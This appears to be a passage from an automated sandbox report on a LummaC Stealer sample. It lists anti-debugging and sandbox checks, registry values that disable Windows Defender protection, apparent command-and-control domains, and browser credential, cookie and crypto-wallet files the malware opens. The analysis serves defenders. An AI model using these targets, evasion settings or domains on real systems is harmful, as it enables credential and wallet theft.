Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, file.exe, 00000000.00000003.1505216928.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508582893.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441606295.00000000018D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1467503932.00000000018D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520668931.00000000018D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1629918314.00000000018D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1454225148.00000000018D4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1552047081.00000000018D7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1521712621.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1490006976.00000000018D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1628840769.00000000018DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1632939665.0000000000F65000.00000040.00000001.01000000.00000003.sdmp, TAW4YM7XHY64JPKK4AWZZOV.exe, 00000003.00000002.1780662672.0000000000E70000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: file.exe, 00000000.00000002.1639711943.000000000185E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: file.exe, 00000000.00000003.1468008478.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Code function: 3_2_00E7082A rdtsc

3_2_00E7082A

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000002.1630512286.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: presticitpo.store

Source: TAW4YM7XHY64JPKK4AWZZOV.exe, TAW4YM7XHY64JPKK4AWZZOV.exe, 00000003.00000002.1780828698.0000000000EB6000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: CjM0Program Manager
Source: file.exe, 00000000.00000002.1638346527.0000000000FAD000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: TAW4YM7XHY64JPKK4AWZZOV.exe, 00000003.00000002.1780828698.0000000000EB6000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: oCjM0Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TAW4YM7XHY64JPKK4AWZZOV.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1521804879.0000000001947000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1521839857.0000000005E71000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000003.1520788007.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1551938977.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1521839857.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7680, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: Wallets/JAXX New Version
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: %appdata%\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
